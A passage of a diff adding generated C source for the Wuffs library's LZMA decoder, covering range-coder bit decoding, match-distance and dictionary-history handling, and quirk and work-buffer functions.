((uint16_t)(v_prob)); ++ v_index_large_dist = (15u & ((uint32_t)(v_index_large_dist << 1u))); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_large_dist[v_index_large_dist] = ((uint16_t)(v_prob)); ++ v_index_large_dist = (15u & (((uint32_t)(v_index_large_dist << 1u)) | 1u)); ++ v_dist_extra_bits |= (((uint32_t)(1u)) << (4u - v_num_extra_bits)); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_15 = *iop_a_src++; ++ v_c8 = t_15; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_num_extra_bits -= 1u; ++ if (v_num_extra_bits <= 0u) { ++ break; ++ } ++ } ++ v_rep += v_dist_extra_bits; ++ } ++ if (v_rep >= 4294967295u) { ++ self->private_impl.f_end_of_chunk = true; ++ goto label__outer__break; ++ } ++ v_rep3 = v_rep2; ++ v_rep2 = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_rep; ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_MATCH[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao20[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_16 = *iop_a_src++; ++ v_c8 = t_16; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao40[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao40[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_17 = *iop_a_src++; ++ v_c8 = t_17; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_ao41 = ((v_state << 4u) | ((uint32_t)((v_pos & v_pb_mask)))); ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao41[v_index_ao41])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao41[v_index_ao41] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_18 = *iop_a_src++; ++ v_c8 = t_18; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_len = 1u; ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_SHORTREP[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao41[v_index_ao41] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_19 = *iop_a_src++; ++ v_c8 = t_19; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao40[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_20 = *iop_a_src++; ++ v_c8 = t_20; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao60[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao60[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_21 = *iop_a_src++; ++ v_c8 = t_21; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_reptmp = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_reptmp; ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao60[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_22 = *iop_a_src++; ++ v_c8 = t_22; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao63[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao63[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(25); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_23 = *iop_a_src++; ++ v_c8 = t_23; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_reptmp = v_rep2; ++ v_rep2 = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_reptmp; ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao63[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(26); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_24 = *iop_a_src++; ++ v_c8 = t_24; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_reptmp = v_rep3; ++ v_rep3 = v_rep2; ++ v_rep2 = v_rep1; ++ v_rep1 = v_rep0; ++ v_rep0 = v_reptmp; ++ } ++ } ++ } ++ do { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_low[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(27); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_25 = *iop_a_src++; ++ v_c8 = t_25; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(28); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_26 = *iop_a_src++; ++ v_c8 = t_26; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 7u) + 2u); ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(29); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_27 = *iop_a_src++; ++ v_c8 = t_27; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_mid[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(30); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_28 = *iop_a_src++; ++ v_c8 = t_28; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(31); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_29 = *iop_a_src++; ++ v_c8 = t_29; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 7u) + 10u); ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(32); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_30 = *iop_a_src++; ++ v_c8 = t_30; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_tree_node = 1u; ++ while (v_tree_node < 256u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_high[0u][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_longrep_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_longrep_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(33); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_31 = *iop_a_src++; ++ v_c8 = t_31; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 255u) + 18u); ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); ++ } while (0); ++ } while (0); ++ v_dist = (v_rep0 + 1u); ++ if ((((uint64_t)(v_dist)) > v_pos) || (((uint64_t)(v_dist)) > ((uint64_t)(self->private_impl.f_dict_size)))) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_distance); ++ goto exit; ++ } ++ v_pos += ((uint64_t)(v_len)); ++ while (274u > ((uint64_t)(io2_a_dst - iop_a_dst))) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(34); ++ } ++ if (((uint64_t)(v_dist)) > ((uint64_t)(iop_a_dst - io0_a_dst))) { ++ v_adj_dist = ((uint32_t)((((uint64_t)(v_dist)) - ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ if (v_adj_dist > self->private_impl.f_dict_seen) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_distance); ++ goto exit; ++ } ++ v_wb_index = ((uint64_t)(((uint64_t)(self->private_impl.f_dict_workbuf_index)) - ((uint64_t)(v_adj_dist)))); ++ while (v_wb_index >= 9223372036854775808u) { ++ v_wb_index += ((uint64_t)(self->private_impl.f_dict_size)); ++ } ++ if (v_wb_index >= ((uint64_t)(a_workbuf.len))) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ if (v_len < v_adj_dist) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,(v_len + 1u), wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_match_byte = ((uint32_t)(iop_a_dst[-1])); ++ iop_a_dst--; ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_prev_byte = iop_a_dst[-1]; ++ continue; ++ } else if (v_len == v_adj_dist) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_len, wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history( ++ &iop_a_dst, io0_a_dst, io2_a_dst, 1u, v_dist); ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_match_byte = ((uint32_t)(iop_a_dst[-1])); ++ iop_a_dst--; ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_prev_byte = iop_a_dst[-1]; ++ continue; ++ } ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_adj_dist, wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); ++ v_len -= v_adj_dist; ++ if ((((uint64_t)(v_len)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)(v_dist)) > ((uint64_t)(iop_a_dst - io0_a_dst)))) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ } ++ v_match_cusp = wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast_return_cusp( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_len, v_dist); ++ v_match_byte = (v_match_cusp >> 8u); ++ v_prev_byte = ((uint8_t)(v_match_cusp)); ++ } ++ label__outer__break:; ++ self->private_impl.f_stashed_bytes[0u] = v_prev_byte; ++ self->private_impl.f_stashed_bytes[1u] = ((uint8_t)(v_match_byte)); ++ self->private_impl.f_stashed_bits = v_bits; ++ self->private_impl.f_stashed_range = v_range; ++ self->private_impl.f_stashed_state = v_state; ++ self->private_impl.f_stashed_rep0 = v_rep0; ++ self->private_impl.f_stashed_rep1 = v_rep1; ++ self->private_impl.f_stashed_rep2 = v_rep2; ++ self->private_impl.f_stashed_rep3 = v_rep3; ++ self->private_impl.f_stashed_pos = v_pos; ++ self->private_impl.f_stashed_pos_end = v_pos_end; ++ ++ ok: ++ self->private_impl.p_decode_bitstream_slow = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_bitstream_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_bitstream_slow.v_bits = v_bits; ++ self->private_data.s_decode_bitstream_slow.v_range = v_range; ++ self->private_data.s_decode_bitstream_slow.v_state = v_state; ++ self->private_data.s_decode_bitstream_slow.v_rep0 = v_rep0; ++ self->private_data.s_decode_bitstream_slow.v_rep1 = v_rep1; ++ self->private_data.s_decode_bitstream_slow.v_rep2 = v_rep2; ++ self->private_data.s_decode_bitstream_slow.v_rep3 = v_rep3; ++ self->private_data.s_decode_bitstream_slow.v_rep = v_rep; ++ self->private_data.s_decode_bitstream_slow.v_pos = v_pos; ++ self->private_data.s_decode_bitstream_slow.v_pos_end = v_pos_end; ++ self->private_data.s_decode_bitstream_slow.v_lc = v_lc; ++ self->private_data.s_decode_bitstream_slow.v_lp_mask = v_lp_mask; ++ self->private_data.s_decode_bitstream_slow.v_pb_mask = v_pb_mask; ++ self->private_data.s_decode_bitstream_slow.v_tree_node = v_tree_node; ++ self->private_data.s_decode_bitstream_slow.v_prev_byte = v_prev_byte; ++ self->private_data.s_decode_bitstream_slow.v_match_byte = v_match_byte; ++ self->private_data.s_decode_bitstream_slow.v_len_state = v_len_state; ++ self->private_data.s_decode_bitstream_slow.v_slot = v_slot; ++ self->private_data.s_decode_bitstream_slow.v_len = v_len; ++ self->private_data.s_decode_bitstream_slow.v_lanl_offset = v_lanl_offset; ++ self->private_data.s_decode_bitstream_slow.v_num_extra_bits = v_num_extra_bits; ++ self->private_data.s_decode_bitstream_slow.v_dist_extra_bits = v_dist_extra_bits; ++ self->private_data.s_decode_bitstream_slow.v_i = v_i; ++ self->private_data.s_decode_bitstream_slow.v_index_lit = v_index_lit; ++ self->private_data.s_decode_bitstream_slow.v_index_len = v_index_len; ++ self->private_data.s_decode_bitstream_slow.v_index_small_dist_base = v_index_small_dist_base; ++ self->private_data.s_decode_bitstream_slow.v_index_small_dist_extra = v_index_small_dist_extra; ++ self->private_data.s_decode_bitstream_slow.v_index_large_dist = v_index_large_dist; ++ self->private_data.s_decode_bitstream_slow.v_dist = v_dist; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func lzma.decoder.add_history ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__add_history( ++ wuffs_lzma__decoder* self, ++ wuffs_base__slice_u8 a_hist, ++ wuffs_base__slice_u8 a_workbuf) { ++ uint64_t v_dict_workbuf_index = 0; ++ uint64_t v_dict_size = 0; ++ uint64_t v_hist_length = 0; ++ wuffs_base__slice_u8 v_s = {0}; ++ uint64_t v_n_copied = 0; ++ uint64_t v_n = 0; ++ ++ v_dict_workbuf_index = ((uint64_t)(self->private_impl.f_dict_workbuf_index)); ++ v_dict_size = ((uint64_t)(self->private_impl.f_dict_size)); ++ if (((uint64_t)(a_hist.len)) == 0u) { ++ return wuffs_base__make_status(NULL); ++ } ++ if (((uint64_t)(a_workbuf.len)) < (v_dict_size + 273u)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ } ++ v_hist_length = ((uint64_t)(a_hist.len)); ++ if (v_hist_length > 4294967295u) { ++ self->private_impl.f_dict_seen = 4294967295u; ++ } else { ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dict_seen, ((uint32_t)(v_hist_length))); ++ } ++ v_s = a_hist; ++ if (((uint64_t)(v_s.len)) >= v_dict_size) { ++ v_s = wuffs_private_impl__slice_u8__suffix(v_s, v_dict_size); ++ wuffs_private_impl__slice_u8__copy_from_slice(a_workbuf, v_s); ++ self->private_impl.f_dict_workbuf_index = 0u; ++ } else if (v_dict_workbuf_index > v_dict_size) { ++ return wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ } else { ++ v_n_copied = wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__slice_u8__subslice_ij(a_workbuf, v_dict_workbuf_index, v_dict_size), v_s); ++ if (v_n_copied < ((uint64_t)(v_s.len))) { ++ v_n = wuffs_private_impl__slice_u8__copy_from_slice(a_workbuf, wuffs_base__slice_u8__subslice_i(v_s, v_n_copied)); ++ self->private_impl.f_dict_workbuf_index = ((uint32_t)(v_n)); ++ } else { ++ v_n = ((uint64_t)(v_dict_workbuf_index + v_n_copied)); ++ if (v_n < v_dict_size) { ++ self->private_impl.f_dict_workbuf_index = ((uint32_t)(v_n)); ++ } else { ++ self->private_impl.f_dict_workbuf_index = 0u; ++ } ++ } ++ } ++ if ((273u > v_dict_size) || (v_dict_size > ((uint64_t)(a_workbuf.len)))) { ++ return wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ } ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__slice_u8__subslice_i(a_workbuf, v_dict_size), wuffs_base__slice_u8__subslice_j(a_workbuf, 273u)); ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func lzma.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_lzma__decoder__get_quirk( ++ const wuffs_lzma__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (a_key == 1348001792u) { ++ if (self->private_impl.f_allow_non_zero_initial_byte) { ++ return 1u; ++ } ++ } else if (a_key == 1348001793u) { ++ return ((uint64_t)(self->private_impl.f_format_extension)); ++ } ++ return 0u; ++} ++ ++// -------- func lzma.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzma__decoder__set_quirk( ++ wuffs_lzma__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ uint32_t v_v = 0; ++ uint32_t v_n = 0; ++ ++ if (a_key == 1348001792u) { ++ self->private_impl.f_allow_non_zero_initial_byte = (a_value > 0u); ++ } else if (a_key == 1348001793u) { ++ if (a_value == 0u) { ++ self->private_impl.f_format_extension = 0u; ++ return wuffs_base__make_status(NULL); ++ } else if ((a_value & 255u) == 1u) { ++ if ((a_value >> 8u) <= 255u) { ++ self->private_impl.f_format_extension = ((uint32_t)(a_value)); ++ v_v = (self->private_impl.f_format_extension >> 8u); ++ v_n = (((uint32_t)(1u)) << (v_v & 31u)); ++ wuffs_private_impl__u32__sat_sub_indirect(&v_n, ((v_n >> 4u) * ((v_v >> 5u) & 7u))); ++ if ((v_n < 4096u) || (536870912u < v_n)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_dict_size = v_n; ++ return wuffs_base__make_status(NULL); ++ } ++ } else if ((a_value & 255u) == 2u) { ++ if ((a_value >> 8u) <= 40u) { ++ self->private_impl.f_format_extension = ((uint32_t)(a_value)); ++ v_v = (self->private_impl.f_format_extension >> 8u); ++ if (v_v < 40u) { ++ self->private_impl.f_dict_size = ((2u | (v_v & 1u)) << ((v_v >> 1u) + 11u)); ++ } else { ++ self->private_impl.f_dict_size = 4294967295u; ++ } ++ return wuffs_base__make_status(NULL); ++ } ++ } ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func lzma.decoder.dst_history_retain_length ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_lzma__decoder__dst_history_retain_length( ++ const wuffs_lzma__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ ++ return wuffs_base__utility__make_optional_u63(true, 0u); ++} ++ ++// -------- func lzma.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_lzma__decoder__workbuf_len( ++ const wuffs_lzma__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ uint64_t v_m = 0; ++ 